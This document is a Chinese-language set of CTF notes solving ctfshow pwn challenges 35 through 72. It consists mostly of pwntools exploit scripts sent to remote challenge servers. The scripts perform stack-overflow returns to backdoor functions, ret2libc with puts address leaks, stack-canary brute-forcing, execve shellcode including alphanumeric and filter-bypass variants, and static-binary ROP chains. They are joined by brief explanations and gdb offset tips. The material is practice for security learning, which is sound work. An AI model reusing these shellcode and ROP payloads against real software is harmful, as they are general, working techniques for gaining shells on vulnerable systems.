✅pwn35
strcpy函数没有长度限制,只需要输入大于104字节就可以产生栈溢出
✅pwn36
前面写了一堆废话,后面调用了ctfshow函数就看ctfshow
gets函数存在栈溢出
栈溢出返回get_flag的地址
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug') #加不加都行
p= remote("pwn.challenge.ctf.show",28299)
get_flag = 0x08048586
payload = cyclic(0x28 + 0x4) + p32(get_flag)
p.sendline(payload)
p.interactive()
✅pwn37
存在栈溢出
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28277)
get_flag = 0x08048521
payload = cyclic(0x12 + 0x4) + p32(get_flag)
p.sendline(payload)
p.interactive()
✅pwn38
64位麻烦点,因为要保持堆栈平衡
查看ret地址(ROPgadget工具)
构造payload: 垃圾数据 + return地址 + 后门函数
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28274)
get_flag = 0x400657
ret = 0x0000000000400287
payload = cyclic(0xA + 0x8) + p64(ret) + p64(get_flag)
p.sendline(payload)
p.interactive()
✅pwn39
存在栈溢出
system和binsh被分开
构造payload
from pwn import *
p= remote("pwn.challenge.ctf.show",28304)
binsh = 0x8048750
system = 0x80483A0
payload = cyclic(0x12 + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload)
p.interactive()
✅pwn40
64位
payload构造: 偏移量+(rdi地址+函数的参数)+ 对齐 + system
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28172)
binsh = 0x0000000000400808
system = 0x400520
rdi = 0x00000000004007e3
ret = 0x00000000004004fe
payload = cyclic(0xA + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload)
p.interactive()
✅pwn41
sh一样作为system参数使用
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28248)
binsh = 0x080487BA
system = 0x80483D0
payload = cyclic(0x12 + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload)
p.interactive()
✅pwn42
64位,把sh当作参数传进去就行
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
p= remote("pwn.challenge.ctf.show",28164)
binsh = 0x0000000000400872
system = 0x400560
rdi = 0x0000000000400843
ret = 0x000000000040053e
#payload = cyclic(0x12 + 0x4) + p32(system) + cyclic(4) + p32(binsh)
payload = cyclic(0xA + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload)
p.interactive()
✅pwn43
有system,没有/bin/sh,需要手动写入binsh
0x804b000---0x804c000有写入权限,所以把"/bin/sh"写入到这里
写入binsh的时候为了避免覆盖有用的数据,所以选择写入到最后的16字节,即0x804c000-16
payload构造,栈溢出 -> gets函数执行,参数为可写入的内存地址,此时程序会停止等待输入,这个时候又send了一个"/bin/sh"进去,0x804c000-16里面就包含这个字符串了 -> gets执行完之后,返回地址是system的入口地址,继续执行system -> system的参数是binsh,此时的binsh里面是字符串"/bin/sh" -> 完事
from pwn import *
p = remote("pwn.challenge.ctf.show",28286)
system = 0x8048450
gets = 0x8048420
binsh = 0x804c000-16
payload = cyclic(0x6C + 0x4) + p32(gets) + p32(system) + p32(binsh) + p32(binsh)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
✅pwn44
同样可以写入数据,不过传参要变成64位的方式
64位函数的返回地址就在函数的后面,所以直接按顺序把rdi啥的塞进去就行
from pwn import *
p = remote("pwn.challenge.ctf.show",28164)
system = 0x400520
gets = 0x400530
binsh = 0x603000-16
rdi = 0x00000000004007f3
ret = 0x00000000004004fe
payload = cyclic(0xA + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(gets) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
✅pwn45
没有system没有/bin/sh的时候就要puts泄露libc
得到puts的实际地址只需要两样东西:puts_plt和puts_got
当puts被调用时,puts_plt会把puts函数的地址储存在puts_got中,所以直接把puts_got作为puts_plt的参数使用,puts函数就会把自己的函数地址打印出来
返回地址设置成main,得到puts的实际地址之后,重新开始真正的操作
puts = u32(p.recvuntil("\xf7")[-4:])
假设内存中存在以下连续字节(16进制表示):
... 00 00 00 00 | a1 b2 c3 f7 | d4 e5 f6 00 | ...
↑ ↑
| |
起始位置 遇到\xf7的位置
关键点解释
1. 终止符 \xf7 的作用:
o recvuntil('\xf7') 会持续接收数据,直到遇到字节 0xf7 停止。
o 在示例中,程序会读取到 a1 b2 c3 f7 时停止(0xf7 是最后一个字节)。
2. 截取最后4字节:
o [-4:] 表示取最后4个字节:a1 b2 c3 f7。
o 为什么是这4字节?在32位系统中,libc地址通常以 0xf7 开头(如 0xf7c3b2a1),而内存中地址按 小端序 存储,因此高位字节 0xf7 在内存中的位置靠后。
3. 转换前的原始数据:
o 内存中的4字节顺序:a1 b2 c3 f7(小端存储)。
4. u32() 转换过程:
o u32() 将字节序列按小端序解析为32位整数:
低地址 -> 高地址
a1 b2 c3 f7 → 解析为 0xf7c3b2a1
o 转换后的结果:0xf7c3b2a1(即 puts 函数的实际地址)。
libc = LibcSearcher("puts",puts)
这句话是在查找libc的版本,确保后续的操作
libc_base = puts - libc.dump("puts")
得到libc的版本之后,就可以在libc数据库中查找puts函数的偏移地址,我们的目的是寻找libc的基址,所以使用前面得到的puts函数的真实地址 减去 puts函数的偏移地址 就是libc基址
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
基址得到了,计算出system和binsh的实际地址也只需要加上他们的偏移地址即可
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28151)
elf = ELF("./pwn")
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
payload = cyclic(0x6B + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x6B + 0x4) + p32(system) + cyclic(4) + p32(binsh)
p.sendline(payload)
p.interactive()
✅pwn46
变成64位libc,变化就是传参和截取数据的不一样
payload = cyclic(0x70 + 0x8) + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
第一个payload这里我塞了两个ret,是因为我塞了一个ret发现程序崩溃了,可能没对齐,所以多塞了一个,如果再崩溃就再塞多几个
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
这里截取的数据是"\x7f"与32位的"\xf7"刚好反过来
64位需要截取往前6个字节的数据,数据后方需要补零.ljust(8, b"\x00"))补零之后才能被u64进行小端序转换
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28249)
elf = ELF("./pwn")
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
rdi = 0x0000000000400803
ret = 0x00000000004004fe
payload = cyclic(0x70 + 0x8) + p64(rdi) + p64(puts_got) + p64(ret) * 2 + p64(puts_plt) + p64(main)
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x70 + 0x8) + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload)
p.interactive()
✅pwn47
32位libc,puts函数泄露
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28173)
elf = ELF("./pwn")
main = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
payload = cyclic(0x9C + 0x4) + p32(puts_plt) + p32(main) + p32(puts_got)
p.sendline(payload)
puts = u32(p.recvuntil("\xf7")[-4:])
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
payload = cyclic(0x9C + 0x4) + p32(system) + cyclic(4) + p32(0x0804B028)
p.sendline(payload)
p.interactive()
✅pwn48
和上一题一样的
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", 28306)
elf = ELF('./pwn')
main = elf.symbols['main']
payload = cyclic(0x6B + 0x4) + p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])
p.sendline(payload)
puts = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x6B + 0x4) + p32(system) + cyclic(0x4) + p32(binsh)
p.sendline(payload)
p.interactive()
❌pwn49
❌pwn50
✅pwn51
栈溢出在这里
先nc试一下,就能发现如果一旦输入“I”就会输出IronMan,刚好偏移量是0x6C + 0x4就是112,“IronMan”有7个字符,所以给16个“I”进去就行
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28202)
elf = ELF("./pwn")
sys = 0x804902E
payload = 16*b"I" + p32(sys)
p.sendline(payload)
p.interactive()
✅pwn52
关键在这里
不管怎么样先把偏移量写了0x6C + 0x4,然后把这个函数的地址塞进去,再加个偏移量来到a1的位置,然后塞876和877
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show",28242)
elf = ELF("./pwn")
flag = 0x8048586
payload = cyclic(0x6C + 0x4) + p32(flag) + p32(0x54) + p32(876)+ p32(877)
p.sendline(payload)
p.interactive()
⚠️pwn53
程序会读取s1的内容与全局变量global_canary的值进行对比,如果不相等就代表栈被破坏,直接gg,所以需要爆破这四个字节,爆出来之后,再通过read函数的漏洞栈溢出返回flag函数地址
爆4个字符,一个字节占 8 位最大为 0xff,十进制就是255,所以遍历0-255也就是range(256)
canary = b''
for i in range(4):
for guess in range(256):
发送200是为了让nbytes
足够大,确保read
操作溢出buf
数组,覆盖栈上的Canary值(s1
)
buf
数组位于ebp-0x30
,大小为32字节。Canary变量
s1
位于ebp-0x10
,紧邻buf
的末尾。buf
到s1
的偏移为 32字节(0x30 - 0x10 = 0x20
)。填满buf
需要32字节,之后的数据会覆盖s1
p8(guess)是为了把爆破的数字转成小端序(1字节,8bit)
p = remote("pwn.challenge.ctf.show",28225)
p.sendlineafter('>','200')
payload = cyclic(0x30 - 0x10) + canary + p8(guess)
p.sendafter('$ ',payload)
接收回显,没收到报错就把值保存到canary,结束循环爆下一个字节,报错了就下一位
answer = str(p.recv())
if "Canary Value Incorrect!" not in answer:
canary += p8(guess)
break
else:
p.close()
若输入负数(如 -1
),nbytes
会变为 0xFFFFFFFF
(32位无符号整数最大值),允许写入超长数据
payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag)
p.sendlineafter('>','-1')
p.sendafter('$ ',payload)
from pwn import *
p = remote("pwn.challenge.ctf.show",28225)
canary = b''
for i in range(4):
for guess in range(256):
p = remote("pwn.challenge.ctf.show",28225)
p.sendlineafter('>','200')
payload = cyclic(0x30 - 0x10) + canary + p8(guess)
p.sendafter('$ ',payload)
answer = str(p.recv())
if "Canary Value Incorrect!" not in answer:
canary += p8(guess)
break
else:
p.close()
p = remote('pwn.challenge.ctf.show',28225)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = cyclic(0x30 - 0x10) + canary + p32(0)*4 + p32(flag)
p.sendlineafter('>','-1')
p.sendafter('$ ',payload)
p.interactive()
✅pwn54
先偏移到v5的位置,然后一直往里面塞垃圾,一直塞到s的位置,把换行和空白全部变成我们的垃圾,puts函数就会一直输出直到遇到换行符或者空白,所以只要password前面全部都塞满了垃圾,puts函数就能把password输出出来
from pwn import *
p = remote("pwn.challenge.ctf.show",28174)
payload = cyclic(0x160 + 0x4) + 256*b"a"
p.sendline(payload)
p.interactive()
✅pwn55
看代码丢参数就行,-1397969748是flag_fun2的参数,-1111638595是flag的参数,建议用flat来转换小端序,不然这个-1397969748要转换位无符号整数
from pwn import *
p = remote("pwn.challenge.ctf.show",28174)
flag1 = 0x8048586
flag2 = 0x804859D
flag = 0x8048606
payload = flat([cyclic(0x2C + 0x4),flag1,flag2,flag,-1397969748,-1111638595])
p.sendline(payload)
p.interactive()
✅pwn56
from pwn import *
p = remote("pwn.challenge.ctf.show",28154)
p.interactive()
✅pwn57
from pwn import *
p = remote("pwn.challenge.ctf.show",28204)
p.interactive()
✅pwn58
直接发送shellcode
from pwn import *
context.arch = "i386"
p = remote("pwn.challenge.ctf.show",28139)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
✅pwn59
from pwn import *
context.arch = "amd64"
p = remote("pwn.challenge.ctf.show",28306)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
✅pwn60
from pwn import *
context.arch = "i386"
p = remote("pwn.challenge.ctf.show",28295)
buf_addr = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112, b"a") + p32(buf_addr)
p.sendline(payload)
p.interactive()
使用gdb调试,0x8048000到0x8049000这一段有执行权限
buf2要放在返回地址的位置
Q:细说112是干嘛的?
112是偏移量,但是要用ljust补齐,因为shellcode的长度不知道是多少,所以我们偏移量总共是112,shellcode占据一部分,剩下的用a补全,返回地址是buf2。
buf2实际的偏移量不知道,但是可以用gdb,输入一堆没用的字符,看看程序在哪里会崩溃
gdb-pwndbg> cyclic 200
gdb-pwndbg> r < <(echo 'aaaabaaacaaadaaae...')
gdb-pwndbg> cyclic -l 0x6161616e
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
⚠️pwn61
printf会把v5地址打印出来,就顺手获取一下,v5偏移量是24,正常情况是这样给shellcode
flat([shell_code.ljust(24,b'a'),v5_addr]),但是这里出不来
payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode]) 这一步属实没看懂
我的理解:先给偏移量来到v5,返回v5地址让shellcode写入,但是汇编代码有一个leave不能直接写在v5,要写在v5长度再往后8位之后的位置,v5长度:16 + 8(保存的rbp)+ 8(返回地址),再给shellcode
from pwn import *
from LibcSearcher import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28166)
shellcode = asm(shellcraft.sh())
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(v5_addr)
print(hex(v5_addr))
padding = 0x10+8
print(padding)
payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode])
p.sendline(payload)
p.interactive()
⚠️pwn62
把shellcode变短一点
from pwn import *
from LibcSearcher import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28177)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(v5_addr)
print(hex(v5_addr))
padding = 0x10+8
print(padding)
payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode])
p.sendline(payload)
p.interactive()
⚠️pwn63
一样
from pwn import *
from LibcSearcher import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28189)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(v5_addr)
print(hex(v5_addr))
padding = 0x10+8
print(padding)
payload = flat([cyclic(padding),v5_addr+24 + 8,shellcode])
p.sendline(payload)
p.interactive()
✅pwn64
from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28196)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
✅pwn65
这里的shellcode就要全是可打印字符的,用到alpha3工具
git clone https://github.com/TaQini/alpha3.git
首先利用pwntools生成一个shellcode
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)
使用alpha3生成string.printable (这里得用 python2)
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
因为 call rax ,所以 base 是 rax,得到
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
最终要用send不能sendline,因为sendline有换行
from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28196)
shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()
✅pwn66
这里有个该死的检查,只能用unk_400F20里面的字符
但是这里面的字符组不成/bin/sh,毛用都没有
但是注意到这里read函数使用的是read(fd, buf, size) 方式,它会完整读取 0x200 字节,然而while函数遇到\x00就停止检查了,所以可以使用\x00B\x00绕过这个检查
from pwn import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28302)
shellcode = asm(shellcraft.sh())
payload = b'\x00B\x00' + shellcode
p.sendline(payload)
p.interactive()
❌pwn67
❌pwn68
❌pwn69
✅pwn70
似曾相识,if ( a1[i] <= 31 || a1[i] == 127 )检测shellcode是否为可打印字符
shellcode要变成shellcraft.cat("/flag")
from pwn import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28256)
shellcode = asm(shellcraft.cat("/flag"))
payload = b'\x00B\x00' + shellcode
p.sendline(payload)
p.interactive()
✅pwn71
难死我了,开启NX保护且静态编译,就代表着不能直接写入shellcode,也不能直接看到函数的地址,因为程序直接调用的是系统的函数
这题就要东拼西凑把execve("/bin/sh", NULL, NULL)组合起来
用ROPgadget工具获取两样东西eax和ebx(简写)
ROPgadget --binary ./pwn --only "pop|ret"|grep eax
ROPgadget --binary ./pwn --only "pop|ret"|grep ebx
ebx是用来传参的,类似64位的rdi,拿到之后把参数框框丢进去,null可以简写成0,所以是0,0,/bin/sh
虽然程序不包含execve等函数,但是一定有/bin/sh在里面,strings ./pwn | grep "/bin/sh"就知道了
ROPgadget --binary ./pwn --string "/bin/sh"
然后把第二样东西丢进去(eax)
eax指明了要调用的函数,execve在系统中的代码是0xb,所以把这两个也放进去
这样一来就凑齐execve("/bin/sh", NULL, NULL)了
最后再加上一个int 0x80
这玩意相当于发射火箭的按钮,把他放在最后,就可以把前面写的所有东西打包全部送走,这样函数就可以执行成功了
from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28152)
eax = 0x080bb196
ebx = 0x0806eb90
binsh = 0x080be408
int = 0x08049421
payload = flat([cyclic(112),ebx,0,0,binsh,eax,0xb,int])
p.sendline(payload)
p.interactive()
⚠️pwn72
可写区域
一样是找eax和ebx这俩哥们,但是这题没有字符串/bin/sh在里面,要我们自己手动写进去,bss = 0x080EAF80是可写的,然后用read读进去,read函数的系统调用是0x3,payload相当于read(0, bss_addr, 16)写入之后就给execve执行execve("/bin/sh", NULL, NULL);但是不知道为什么int是0x0806F350
from pwn import *
context.arch="i386"
p = remote("pwn.challenge.ctf.show", 28177)
padding = 44
eax = 0x080bb2c6
ebx = 0x0806ecb0
binsh = b"/bin/sh\x00"
int = 0x0806F350
bss = 0x080EAF80
payload = flat([cyclic(44),ebx,8,bss,0,eax,0x3,int,ebx,0,0,bss,eax,0xb,int])
p.sendline(payload)
p.sendline(binsh)
p.interactive()
小技巧
怎么找偏移量?
直接找到有栈溢出的地方,双击点进去
偏移量为0xA + 0x8
也可以
gdb-pwndbg> cyclic 200
gdb-pwndbg> r < <(echo 'aaaabaaacaaadaaae...')
gdb-pwndbg> cyclic -l 0x6161616e
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
偏移量为112(字节)
函数的地址?
或者
0x400657就是地址
找到可以写入的地址块
首先确保PIE是disable
使用gdb随便断个点然后运行
vmmap指令